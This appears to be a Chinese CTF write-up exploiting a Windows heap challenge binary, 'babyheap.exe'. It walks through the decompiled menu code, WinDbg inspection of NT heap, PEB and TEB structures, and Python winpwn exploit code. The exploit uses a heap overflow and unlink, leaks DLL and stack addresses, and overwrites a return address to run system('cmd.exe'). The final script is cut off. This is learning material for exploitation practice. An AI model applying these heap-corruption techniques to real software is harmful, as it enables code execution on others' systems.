保护检查 1 2 3 4 5 6 7 8 9 10 11 12 13 14 Results for : .\babyheap.exe Dynamic Base : "Present" ASLR : "Present" High Entropy VA : "NotPresent" Force Integrity : "NotPresent" Isolation : "Present" NX : "Present" SEH : "Present" CFG : "NotPresent" RFG : "NotPresent" SafeSEH : "NotPresent" GS : "Present" Authenticode : "NotPresent" .NET : "NotPresent"
程序分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 int __cdecl main (int argc, const char **argv, const char **envp) { FILE *stdout ; SIZE_T size; void *malloc_chunk_ptr; int count; LPVOID v7; int name; char v9; int v10; char v11; int v13; SIZE_T v14; _BYTE *v15; char hidden_flag; char target[4 ]; char len[4 ]; char choice[4 ]; stdout = _acrt_iob_func(1u ); setvbuf(stdout , 0 , 4 , 0 ); hHeap = HeapCreate(1u , 0x2000 u, 0x2000 u); puts ("Welcome to my old-school menu-style babyheap.exe v1.0!" ); Sleep(0x3E8 u); puts ("I call it the Novice Village." ); Sleep(0x3E8 u); puts ("Hope you learn some windows exploitation skills through this challenge :)" ); Sleep(0x3E8 u); printf ("And here is your Novice village gift : 0x%p\n" , (char )func); hidden_flag = 1 ; *(_DWORD *)choice = -1 ; puts ("\nSo what do you want?" ); puts ("1. Make a sword" ); puts ("2. Destroy a sword" ); puts ("3. Polish a sword" ); puts ("4. Check a sword" ); puts ("5. Weapon is equipped. I'm ready for new challenge!" ); puts ("What's your choice?" ); if ( scanf ("%d" , (char )choice) != 1 ) LABEL_49: err_exit(); while ( 1 ) { getchar(); if ( *(_DWORD *)choice == 5 ) return 0 ; if ( *(int *)choice > 1337 ) { LABEL_45: puts ("invalid!" ); } else if ( *(_DWORD *)choice == 1337 ) { puts ("You find the hidden level!" ); if ( hidden_flag ) { puts ("Qualified!" ); puts ("Forget awkward SWORDs, you will experience the power of GUNs!" ); puts ("But only once in Novice Village." ); puts ("So what's your target?" ); *(_DWORD *)target = 0 ; if ( scanf ("%d" , (char )target) != 1 ) goto LABEL_49; getchar(); **(_BYTE **)target = hidden_flag; puts ("Hit the target, awesome shoot!" ); hidden_flag = 0 ; } else { puts ("But you are not qualified this time..." ); } } else { switch ( *(_DWORD *)choice ) { case 1 : *(_DWORD *)choice = -1 ; puts ("\nNew weapon brings new power." ); puts ("Answer my questions so I can make a sword for you.\n" ); puts ("How long is your sword?" ); if ( scanf ("%d" , (char )choice) != 1 ) goto LABEL_49; getchar(); size = *(_DWORD *)choice; if ( *(int *)choice <= 0 || *(int *)choice > 0x100 ) { puts ("Oh no, be realistic!" ); size = *(_DWORD *)choice; } malloc_chunk_ptr = HeapAlloc(hHeap, 1u , size); if ( !malloc_chunk_ptr ) goto LABEL_49; count = 0 ; while ( swords_used[count] ) { if ( ++count >= 18 ) { puts ("You have carried so many swords, take easy!" ); goto LABEL_46; } } swords[count] = malloc_chunk_ptr; swords_used[count] = 1 ; puts ("Well done! Name it!" ); v14 = *(_DWORD *)choice; v7 = swords[count]; name = 0 ; *(_DWORD *)len = v7; v9 = getchar(); do { if ( v9 == 10 ) break ; *(_BYTE *)(name + *(_DWORD *)len) = v9; ++name; v9 = getchar(); } while ( name != v14 ); break ; case 2 : *(_DWORD *)choice = -1 ; puts ("\nLet the past be the past.\n" ); puts ("Which sword do you want to destroy?" ); if ( scanf ("%d" , (char )choice) != 1 ) goto LABEL_49; getchar(); if ( *(_DWORD *)choice > 0x11 u ) { puts ("no no no, be kind!" ); } else { if ( !swords_used[*(_DWORD *)choice] ) goto LABEL_25; if ( !HeapFree(hHeap, 1u , swords[*(_DWORD *)choice]) ) goto LABEL_49; if ( *(_DWORD *)choice >= 0x12 u ) { __report_rangecheckfailure(); JUMPOUT(0x401560 ); } swords_used[*(_DWORD *)choice] = 0 ; puts ("Succeed!" ); } break ; case 3 : *(_DWORD *)choice = -1 ; puts ("\nA little change will make a difference.\n" ); puts ("Which one will you polish?" ); if ( scanf ("%d" , (char )choice) != 1 ) goto LABEL_49; getchar(); if ( *(_DWORD *)choice > 0x11 u ) { puts ("error" ); } else if ( swords_used[*(_DWORD *)choice] ) { *(_DWORD *)len = 0 ; puts ("And what's the length this time?" ); if ( scanf ("%d" , (char )len) != 1 ) goto LABEL_49; getchar(); puts ("Then name it again : " ); v13 = *(_DWORD *)len; v10 = 0 ; v15 = swords[*(_DWORD *)choice]; v11 = getchar(); do { if ( v11 == 10 ) break ; v15[v10++] = v11; v11 = getchar(); } while ( v10 != v13 ); } else { LABEL_25: puts ("It seems that you don't own this sword." ); } break ; case 4 : *(_DWORD *)len = -1 ; puts ("\nCherish what you've own.\n" ); puts ("Which one will you check?" ); if ( scanf ("%d" , (char )len) != 1 ) goto LABEL_49; getchar(); if ( *(_DWORD *)len > 0x11 u ) { puts ("no" ); } else { if ( !swords_used[*(_DWORD *)len] ) goto LABEL_25; printf ("Show : %s\n" , (char )swords[*(_DWORD *)len]); } break ; default : goto LABEL_45; } } LABEL_46: *(_DWORD *)choice = -1 ; puts ("\nSo what do you want?" ); puts ("1. Make a sword" ); puts ("2. Destroy a sword" ); puts ("3. Polish a sword" ); puts ("4. Check a sword" ); puts ("5. Weapon is equipped. I'm ready for new challenge!" ); puts ("What's your choice?" ); if ( scanf ("%d" , (char )choice) != 1 ) goto LABEL_49; } }
传统的菜单堆,有五个选项:
add
: 最多 18
个,size
大小在 0
到 0x100
之间
free
: 正常
show
: 正常
edit
:新输入一个 size
,可以溢出
hidden
: 任意地址写一个 1
很直接的堆溢出,由于直接给了程序的基址,所以可以使用 unlink
攻击
漏洞利用 首先使用泄露的地址算出 exe_base
和 chunk_list
的位置,然后 add
一个 新的块:
1 2 3 4 5 6 7 8 ru("And here is your Novice village gift : 0x" ) exe_base = int (ru("\r\n" ),16 ) - 0x1090 success("exe_base" ,exe_base) chunk_list = exe_base + 0x4370 add("0" ) add("1" )
首先使用 .process
查看进程的 PEB
地址,随后使用 td _PEB peb_addr
查看进程的 PEB
信息,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 0 :003> .processImplicit process is now 00a5c000 0 :003> dt _PEB 00a5c000ntdll!_PEB [...] +0x018 ProcessHeap : 0x00d00000 Void // 默认的线程堆空间起始地址 +0x01c FastPebLock : 0x77525b40 _RTL_CRITICAL_SECTION [...] +0x07c HeapSegmentCommit : 0x2000 // 默认堆地址⼤⼩ +0x080 HeapDeCommitTotalFreeThreshold : 0x10000 // 默认堆的初始提交⼤⼩ +0x084 HeapDeCommitFreeBlockThreshold : 0x1000 // 与堆释放有关的阈值 +0x088 NumberOfHeaps : 2 // 程序中堆空间的数量 +0x08c MaximumNumberOfHeaps : 0x10 // 程序中最⼤的堆的数量 +0x090 ProcessHeaps : 0x77524840 -> 0x00d00000 Void //存储所有 堆空间的数组 [...]
使用 !heap
查看创建的堆空间
1 2 3 4 5 6 7 8 9 10 11 12 0 :003> !heap -hIndex Address Name Debugging options enabled 1 : 00d00000 Segment at 00d00000 to 00dff000 (0000b000 bytes committed) 2 : 01320000 Segment at 01320000 to 01322000 (00002000 bytes committed) 0 :003> !heap Heap Address NT/Segment Heap d00000 NT Heap 1320000 NT Heap
直接使用 dt _HEAP heap_addr
查看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 0 :003> dt _HEAP 1320000 ntdll!_HEAP +0x000 Segment : _HEAP_SEGMENT +0x000 Entry : _HEAP_ENTRY +0x008 SegmentSignature : 0xffeeffee +0x00c SegmentFlags : 0 +0x010 SegmentListEntry : _LIST_ENTRY [ 0x13200a4 - 0x13200a4 ] +0x018 Heap : 0x01320000 _HEAP +0x01c BaseAddress : 0x01320000 Void +0x020 NumberOfPages : 2 +0x024 FirstEntry : 0x01320490 _HEAP_ENTRY +0x028 LastValidEntry : 0x01322000 _HEAP_ENTRY +0x02c NumberOfUnCommittedPages : 0 +0x030 NumberOfUnCommittedRanges : 1 +0x034 SegmentAllocatorBackTraceIndex : 0 +0x036 Reserved : 0 +0x038 UCRSegmentList : _LIST_ENTRY [ 0x1321ff0 - 0x1321ff0 ] +0x040 Flags : 0x1001 +0x044 ForceFlags : 1 +0x048 CompatibilityFlags : 0 +0x04c EncodeFlagMask : 0x100000 // 初始化为0x100000 ,⽤于判断是否要加密chunk_header +0x050 Encoding : _HEAP_ENTRY // ⽤于异或chunk_header的值 +0x058 Interceptor : 0 +0x05c VirtualMemoryThreshold : 0xfe00 +0x060 Signature : 0xeeffeeff +0x064 SegmentReserve : 0x100000 +0x068 SegmentCommit : 0x2000 +0x06c DeCommitFreeBlockThreshold : 0x200 +0x070 DeCommitTotalFreeThreshold : 0x2000 +0x074 TotalFreeSize : 0x366 +0x078 MaximumAllocationSize : 0x7ffdefff +0x07c ProcessHeapsListIndex : 2 +0x07e HeaderValidateLength : 0x258 +0x080 HeaderValidateCopy : (null) +0x084 NextAvailableTagIndex : 0 +0x086 MaximumTagIndex : 0 +0x088 TagEntries : (null) +0x08c UCRList : _LIST_ENTRY [ 0x132008c - 0x132008c ] +0x094 AlignRound : 0xf +0x098 AlignMask : 0xfffffff8 +0x09c VirtualAllocdBlocks : _LIST_ENTRY [ 0x132009c - 0x132009c ] +0x0a4 SegmentList : _LIST_ENTRY [ 0x1320010 - 0x1320010 ] +0x0ac AllocatorBackTraceIndex : 0 +0x0b0 NonDedicatedListLength : 0 +0x0b4 BlocksIndex : 0x01320258 Void // 后端堆管理器结构体 +0x0b8 UCRIndex : (null) +0x0bc PseudoTagEntries : (null) +0x0c0 FreeLists : _LIST_ENTRY [ 0x13204b8 - 0x13204b8 ] // 空闲的后端堆链表 +0x0c8 LockVariable : (null) +0x0cc CommitRoutine : 0x2802ec61 long +2802ec61 +0x0d0 StackTraceInitVar : _RTL_RUN_ONCE +0x0d4 CommitLimitData : _RTL_HEAP_MEMORY_LIMIT_DATA +0x0e4 FrontEndHeap : (null) // 前端堆管理结构 +0x0e8 FrontHeapLockCount : 0 +0x0ea FrontEndHeapType : 0 '' +0x0eb RequestedFrontEndHeapType : 0 '' +0x0ec FrontEndHeapUsageData : (null) // 指向⼀个对应个前端堆⼤⼩的chunk阵列 +0x0f0 FrontEndHeapMaximumIndex : 0 +0x0f2 FrontEndHeapStatusBitmap : [257 ] "" +0x1f4 Counters : _HEAP_COUNTERS +0x250 TuningParameters : _HEAP_TUNING_PARAMETERS
查看 Encoding
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 0 :003> dx -r1 (*((ntdll!_HEAP_ENTRY *)(0x1320000 +0x50 )))(*((ntdll!_HEAP_ENTRY *)(0x1320000 +0x50 ))) [Type : _HEAP_ENTRY] [+0x000 ] UnpackedEntry [Type : _HEAP_UNPACKED_ENTRY] [+0x000 ] Size : 0x4e6c [Type : unsigned short] [+0x002 ] Flags : 0x3f [Type : unsigned char] [+0x003 ] SmallTagIndex : 0x7a [Type : unsigned char] [+0x000 ] SubSegmentCode : 0x7a3f4e6c [Type : unsigned long] [+0x004 ] PreviousSize : 0x4b54 [Type : unsigned short] [+0x006 ] SegmentOffset : 0x0 [Type : unsigned char] [+0x006 ] LFHFlags : 0x0 [Type : unsigned char] [+0x007 ] UnusedBytes : 0x0 [Type : unsigned char] [+0x000 ] ExtendedEntry [Type : _HEAP_EXTENDED_ENTRY] [+0x000 ] FunctionIndex : 0x4e6c [Type : unsigned short] [+0x002 ] ContextValue : 0x7a3f [Type : unsigned short] [+0x000 ] InterceptorValue : 0x7a3f4e6c [Type : unsigned long] [+0x004 ] UnusedBytesLength : 0x4b54 [Type : unsigned short] [+0x006 ] EntryOffset : 0x0 [Type : unsigned char] [+0x007 ] ExtendedBlockSignature : 0x0 [Type : unsigned char] [+0x000 ] Code1 : 0x7a3f4e6c [Type : unsigned long] [+0x004 ] Code2 : 0x4b54 [Type : unsigned short] [+0x006 ] Code3 : 0x0 [Type : unsigned char] [+0x007 ] Code4 : 0x0 [Type : unsigned char] [+0x004 ] Code234 : 0x4b54 [Type : unsigned long] [+0x000 ] AgregateCode : 0x4b547a3f4e6c [Type : unsigned __int64] 0 :003> dq 0x1320000 +0x50 01320050 00004b54`7a3f4e6c 0000fe00`00000000 01320060 00 100000`eeffeeff 00000200`00002000 01320070 00000366`00002000 02580002`7ffdefff 01320080 00000000 `00000000 0132008c`00000000 01320090 0000000f`0132008c 0132009c`fffffff8 013200a0 01320010`0132009c 00000000 `01320010 013200b0 01320258`00000000 00000000 `00000000 013200c0 013204b8`013204b8 2802ec61`00000000
Encoding
的值为 0x00004b547a3f4e6c
找到我们所分配出来的两个堆块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 0 :003> dc babyheap + 0x4370 002d4370 01320498 013204a8 00000000 00000000 ..2 ...2 ......... 002d4380 00000000 00000000 00000000 00000000 ................ 002d4390 00000000 00000000 00000000 00000000 ................ 002d43a0 00000000 00000000 00000000 00000000 ................ 002d43b0 00000000 00000000 01320000 00000 101 ..........2 ..... 002d43c0 00000000 00000000 00000000 00000000 ................ 002d43d0 00000002 00000000 00000024 00000000 ........$....... 002d43e0 00000000 00000000 00000000 00000000 ................ 0 :003> dq 01320498-0x8 01320490 0f004bc6`793e4e6e 013200c0`01320030 013204a0 0f004b56`793e4e6e 013200c0`01320031 013204b0 00004b56`1f3f4d0a 013200c0`013200c0 013204c0 00000000 `00000000 00000000 `00000000 013204d0 00000000 `00000000 00000000 `00000000 013204e0 00000000 `00000000 00000000 `00000000 013204f0 00000000 `00000000 00000000 `00000000 01320500 00000000 `00000000 00000000 `00000000 0 :003> ?0f004bc6`793e4e6e^00004b54`7a3f4e6cEvaluate expression: 1080864537684541442 = 0f000092`03010002
从右往左的第 1-2
个字节为 0002
代表 size
为 0x20
第 3
个字节 flag
为 01
代表 inused
第 4
个字节 SmallTagIndex
为 0x3 = (0x2^0x0^0x1) = 0x3
第 5
个字节 previous size
为 0x92
第 8
个字节 Unsortedbyte
为 0xf
我们尝试分配更多的块,然后进行 free
1 2 3 4 5 6 7 8 add("0" ) add("1" ) add("2" ) add("3" ) add("4" ) free(3 ) free(1 )
查看堆块,发现被 free
掉的堆块的 flink
和 blink
会更改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 0 :004> dc babyheap + 0x4370 002d4370 00b90498 00b904a8 00b904b8 00b904c8 ................ 002d4380 00b904d8 00000000 00000000 00000000 ................ 002d4390 00000000 00000000 00000000 00000000 ................ 002d43a0 00000000 00000000 00000000 00000000 ................ 002d43b0 00000000 00000000 00b90000 000 10001 ................ 002d43c0 00000001 00000000 00000000 00000000 ................ 002d43d0 00000002 00000000 00000024 00000000 ........$....... 002d43e0 00000000 00000000 00000000 00000000 ................ 0 :004> dc 00b90498-8 00b90490 9cf39174 0f004894 00b90030 00b900c0 t....H..0 ....... 00b904a0 9df29174 00004804 00b904c8 00b900c0 t....H.......... 00b904b0 9cf39174 0f004804 00b90032 00b900c0 t....H..2 ....... 00b904c0 9df29174 00004804 00b904e8 00b904a8 t....H.......... 00b904d0 9cf39174 0f004804 00b90034 00b900c0 t....H..4 ....... 00b904e0 fcf29216 00004804 00b900c0 00b904c8 .....H.......... 00b904f0 00000000 00000000 00000000 00000000 ................ 00b90500 00000000 00000000 00000000 00000000 ................
之后尝试构造
1 2 3 4 5 6 add("0" ) add("1" ) add("2" ) edit(1 ,"a" * 8 ) show(1 )
发现 show
的时候可以把后面 chunk
的 header
给打印出来一点点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 0 :004> dc babyheap + 0x4370 002d4370 01310498 013104a8 013104b8 00000000 ..1 ...1 ...1 ..... 002d4380 00000000 00000000 00000000 00000000 ................ 002d4390 00000000 00000000 00000000 00000000 ................ 002d43a0 00000000 00000000 00000000 00000000 ................ 002d43b0 00000000 00000000 01310000 000 10101 ..........1 ..... 002d43c0 00000000 00000000 00000000 00000000 ................ 002d43d0 00000002 00000000 00000024 00000000 ........$....... 002d43e0 00000000 00000000 00000000 00000000 ................ 0 :004> dc 013104a8-0x8 013104a0 009c5549 0f006f9e 61616161 61616161 IU...o..aaaaaaaa 013104b0 009c5549 0f006f9e 01310032 013100c0 IU...o..2 .1 ...1 . 013104c0 649d562f 00006f9e 013100c0 013100c0 /V.d.o....1 ...1 . 013104d0 00000000 00000000 00000000 00000000 ................ 013104e0 00000000 00000000 00000000 00000000 ................013104f0 00000000 00000000 00000000 00000000 ................ 01310500 00000000 00000000 00000000 00000000 ................ 01310510 00000000 00000000 00000000 00000000 ................
由于有 00
截断,所以并不能够得到完整的 header
,不过没关系,我们可以通过一个字节一个字节的泄露来得到完整的 header
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 add("0" ) add("1" ) add("2" ) payload = "a" * 8 leak = "" for i in range (8 ): edit(1 ,payload + i * "b" ) show(1 ) ru(payload) data = ru("\r\n" ) if len (data) == len (leak): leak += "\x00" else : leak += data[i] leak = u64(leak) success("leak" ,leak)
调试得到 chunk 1
的 header
为 0x0f00baa77755b659
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 0 :004> dc babyheap + 0x4370 002d4370 01ac0498 01ac04a8 01ac04b8 00000000 ................ 002d4380 00000000 00000000 00000000 00000000 ................ 002d4390 00000000 00000000 00000000 00000000 ................ 002d43a0 00000000 00000000 00000000 00000000 ................ 002d43b0 00000000 00000000 01ac0000 000 10101 ................ 002d43c0 00000000 00000000 00000000 00000000 ................ 002d43d0 00000002 00000000 00000024 00000000 ........$....... 002d43e0 00000000 00000000 00000000 00000000 ................ 0 :004> dq 01ac04a8-0x8 01ac04a0 0f00baa7`7755b659 01ac00c0`01ac0031 01ac04b0 0f00baa7`7755b659 01ac00c0`01ac0032 01ac04c0 0000baa7`1354b53f 01ac00c0`01ac00c0 01ac04d0 00000000 `00000000 00000000 `00000000 01ac04e0 00000000 `00000000 00000000 `00000000 01ac04f0 00000000 `00000000 00000000 `00000000 01ac0500 00000000 `00000000 00000000 `00000000 01ac0510 00000000 `00000000 00000000 `00000000
得到的结果一致
然后我们便可以进行 unlink
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 add("0" * 0x70 ) add("1" * 0x70 ) add("2" * 0x50 ) add("3" * 0x70 ) add("4" * 0x70 ) add("5" * 0x70 ) add("6" * 0x70 ) add("7" * 0x70 ) add("8" * 0x70 ) free(1 ) free(3 ) payload = "0" * 0x70 leak = "" for i in range (8 ): edit(0 ,payload + i * "b" ) show(0 ) ru(payload) data = ru("\r\n" ) if len (data) == len (leak): leak += "\x00" else : leak += data[i] leak = u64(leak) success("leak" ,leak) payload = "0" * 0x70 payload += p64(leak) payload += p32(chunk_list) payload += p32(chunk_list + 4 ) edit(0 ,payload) free(0 )
随后先泄露出 ucrtbase.dll
和 kernel32.dll
的基址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 exit_iat = exe_base + 0x30AC IsDebuggerPresent_iat = exe_base + 0x3010 backdoor(chunk_used_list + 1 ) payload = "" payload += p32(chunk_list + 4 ) payload += p32(exit_iat) payload += p32(0 ) payload += p32(IsDebuggerPresent_iat) edit(1 ,payload) show(2 ) ru("Show : " ) ucrtbase_base = u32(rc(4 )) - 0x44380 success("ucrtbase_base" ,ucrtbase_base) show(4 ) ru("Show : " ) kernel32_base = u32(rc(4 )) - 0x220d0 success("kernel32_base" ,kernel32_base)
然后我们需要寻找栈地址进行利用,在 teb
中会存有栈地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 0 :003> !tebTEB at 00945000 ExceptionList: 0 10bfab4 StackBase: 0 10c0000 StackLimit: 0 10bc000 SubSystemTib: 00000000 FiberData: 00001e00 ArbitraryUserPointer: 00000000 Self: 00945000 EnvironmentPointer: 00000000 ClientId: 00001eb0 . 00002728 RpcHandle: 00000000 Tls Storage: 00000000 PEB Address: 00939000 LastErrorValue: 0 LastStatusValue: 0 Count Owned Locks: 0 HardErrorMode: 0
对于 Windows
的程序来说,每个进程都有一个 PEB
,每个线程都有一个 TEB
,而且他们的相对偏移一般是固定的。那么我们只要知道 PEB
的地址,就可以计算出 TEB
的地址,从而泄露StackBase
那么我们该如何泄露 ntdll.dll
的基地址呢,我们可以首先查看 ntdll!NtCreateFile
的地址
1 2 3 4 5 6 7 8 9 0 :003> dc ntdll!NtCreateFile77472f20 000055b8 8870ba00 d2ff7748 90002cc2 .U....p.Hw...,.. 77472f30 000056b8 8870ba00 d2ff7748 900014c2 .V....p.Hw...... 77472f40 000057b8 8870ba00 d2ff7748 900018c2 .W....p.Hw...... 77472f50 000058b8 8870ba00 d2ff7748 90000cc2 .X....p.Hw...... 77472f60 000059b8 8870ba00 d2ff7748 900040c2 .Y....p.Hw...@.. 77472f70 18005ab8 8870ba00 d2ff7748 900004c2 .Z....p.Hw...... 77472f80 1d005bb8 8870ba00 d2ff7748 900014c2 .[....p.Hw...... 77472f90 00005cb8 8870ba00 d2ff7748 9000 10c2 .\....p.Hw......
然后在 kernel32.dll
的内存区域进行搜索
1 2 3 4 5 6 7 ModLoad: 771b0000 772a0000 C:\WINDOWS\System32\KERNEL32.DLL 0 :003> s -[1 ]d 771b0000 L100000 77472f200x77231af4 0x77231fb4 0x77401804 0x77407338
最后选择一个偏移进行泄露即可
1 2 3 4 5 6 7 8 9 10 11 12 NtCreateFile_iat = kernel32_base + 0x00081fb4 payload = "" payload += p32(chunk_list + 4 ) payload += p32(NtCreateFile_iat) edit(1 ,payload) show(1 ) ru("Show : " ) ntdll_base = u32(rc(4 )) - 0x72f20 success("ntdll_base" ,ntdll_base)
之后我们泄露 PEB
的地址,我们可以从 ntdll!PebLdr
附近得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 0 :004> .processImplicit process is now 004f8000 0 :004> dc ntdll!PebLdr77525d80 00000030 00000001 00000000 009c6af0 0. ...........j.. 77525d90 009c3340 009c6af8 009c3348 009c6a18 @3. ..j..H3...j.. 77525da0 009c3350 00000000 00000000 00000000 P3.............. 77525db0 00000002 00000000 00000000 00000000 ................ 77525dc0 00000000 00000000 00000000 00000000 ................ 77525dd0 00000000 00000000 00000000 00000000 ................ 77525de0 00000000 00000000 00000000 00000000 ................ 77525df0 00000000 00000000 00000000 00000000 ................ 0 :004> dc 77525d0077525d00 77525d00 77525d00 00000000 002d0100 .]Rw.]Rw......-. 77525d10 00000000 00000000 00000400 004f8154 ............T.O. 77525d20 0000 1000 00000000 00620026 009c6998 ........&.b..i.. 77525d30 00000040 004f8044 629 107f4 00000000 @...D.O....b.... 77525d40 00000000 0a8c87ce 00000000 00000000 ................ 77525d50 00000054 0000000c 00000000 00000000 T............... 77525d60 00000000 00000000 009c6a08 77400000 .........j....@w 77525d70 00000000 009c0000 00000000 00000000 ................ 0 :004> dc 77525d1C77525d1c 004f8154 0000 1000 00000000 00620026 T.O.........&.b. 77525d2c 009c6998 00000040 004f8044 629 107f4 .i..@...D.O....b 77525d3c 00000000 00000000 0a8c87ce 00000000 ................ 77525d4c 00000000 00000054 0000000c 00000000 ....T........... 77525d5c 00000000 00000000 00000000 009c6a08 .............j.. 77525d6c 77400000 00000000 009c0000 00000000 ..@w............ 77525d7c 00000000 00000030 00000001 00000000 ....0 ........... 77525d8c 009c6af0 009c3340 009c6af8 009c3348 .j..@3. ..j..H3..
所以泄露出 PEB
地址
1 2 3 4 5 6 7 8 9 10 ntdll_PedLdr_addr = ntdll_base + 0x125d80 payload = "" payload += p32(chunk_list + 4 ) payload += p32(ntdll_PedLdr_addr - 0x64 ) edit(1 ,payload) show(2 ) ru("Show : " ) peb_addr = u32(ru("\r\n" )) - 0x154 success("peb_addr" ,peb_addr)
又因为 PEB
和 TEB
见的偏移是固定的,所以直接计算读取即可
需要注意的是要计算的是 babyheap.exe 的 teb
1 2 3 4 5 6 7 8 0 :000 > r $teb$teb=004c7000 0 :000 > r $peb$peb=004c4000 0 :000 > ?004c7000-004c4000Evaluate expression: 12288 = 00003000
1 2 teb_addr = peb_addr + 0x3000 success("teb_addr" ,teb_addr)
然后读取栈地址
1 2 3 4 5 6 7 8 payload = "" payload += p32(chunk_list + 4 ) payload += p32(teb_addr) edit(1 ,payload) show(2 ) ru("Show : " ) stack_addr = u32(ru("\r\n" ).ljust(4 ,"\x00" )) - 0x154 success("stack_addr" ,stack_addr)
然后通过偏移计算 ret_addr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 0 :000 > k 00 006ff6a0 774efce4 ntdll!RtlReportCriticalFailure+0x4b 01 006ff6ac 774edbd9 ntdll!RtlpReportHeapFailure+0x2f 02 006ff6dc 774f6050 ntdll!RtlpHpHeapHandleError+0x89 03 006ff6f4 77447a6a ntdll!RtlpLogHeapFailure+0x43 04 006ff8ac 77446e3c ntdll!RtlpAllocateHeap+0xa6a 05 006ff948 77445dde ntdll!RtlpAllocateHeapInternal+0x104c 06 006ff960 002d1262 ntdll!RtlAllocateHeap+0x3e WARNING: Stack unwind information not available. Following frames may be wrong. 07 006ff99c 002d193b babyheap+0x1262 08 006ff9e4 771cfa29 babyheap+0x193b 09 006ff9f4 77467a9e KERNEL32!BaseThreadInitThunk+0x19 0a 006ffa50 77467a6e ntdll!__RtlUserThreadStart+0x2f 0b 006ffa60 00000000 ntdll!_RtlUserThreadStart+0x1b 0 :000 > dc 006ff99c+4 006ff9a0 002d193b 00000001 00990570 0099dbd8 ;.-.....p....... 006ff9b0 b39b99c5 002d19c3 002d19c3 00596000 ......-...-..`Y. 006ff9c0 00000000 00000000 00000000 006ff9b0 ..............o. 006ff9d0 00000000 006ffa40 002d1f9b b3d95999 ....@.o...-..Y.. 006ff9e0 00000000 006ff9f4 771cfa29 00596000 ......o.)..w.`Y. 006ff9f0 771cfa10 006ffa50 77467a9e 00596000 ...wP.o..zFw.`Y. 006ffa00 4849ac19 00000000 00000000 00596000 ..IH.........`Y. 006ffa10 00000000 00000000 00000000 00000000 ................
1 2 ret_addr = stack_addr + 0x220 success("ret_addr" ,ret_addr)
最后执行 system("cmd.exe")
即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 payload = "" payload += p32(chunk_list + 4 ) payload += p32(ret_addr) edit(1 ,payload) system_addr = ucrtbase_base + 0xec730 payload = "" payload += p32(system_addr) payload += p32(0xdeadbeef ) payload += p32(ret_addr + 0xc ) payload += "cmd.exe\x00" edit(2 ,payload) exit()
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 from winpwn import *context.log_level = "debug" def rc (num ): return r.recv(num) def ru (prefix,drop = True ): data = r.recvuntil(prefix) if drop: return data[:-len (prefix)] else : return data def sd (content ): r.send(content) def sl (content ): r.sendline(content) def sda (prefix,content ): ru(prefix) sd(content) def sla (prefix,content ): ru(prefix) sl(content) def success (name,content ): print (f"[+] {name} : {hex (content)} " ) def cmd (idx ): sla("What's your choice?\r\n" ,str (idx)) def add (data ): cmd(1 ) sla("How long is your sword?\r\n" ,str (len (data))) sla("Well done! Name it!\r\n" ,data) def free (idx ): cmd(2 ) sla("Which sword do you want to destroy?\r\n" ,str (idx)) def edit (idx,data ): cmd(3 ) sla("Which one will you polish?\r\n" ,str (idx)) sla("And what's the length this time?\r\n" ,str (len (data) + 1 )) sla("Then name it again : \r\n" ,data) def show (idx ): cmd(4 ) sla("Which one will you check?\r\n" ,str (idx)) def backdoor (addr ): cmd(1337 ) sla("So what's your target?\r\n" ,str (addr)) def exit (): cmd(5 ) r = process("./babyheap.exe" ) ru("And here is your Novice village gift : 0x" ) exe_base = int (ru("\r\n" ),16 ) - 0x1090 success("exe_base" ,exe_base) chunk_list = exe_base + 0x4370 chunk_used_list = exe_base + 0x43BC add("0" * 0x70 ) add("1" * 0x70 ) add("2" * 0x50 ) add("3" * 0x70 ) add("4" * 0x70 ) add("5" * 0x70 ) add("6" * 0x70 ) add("7" * 0x70 ) add("8" * 0x70 ) free(1 ) free(3 ) payload = "0" * 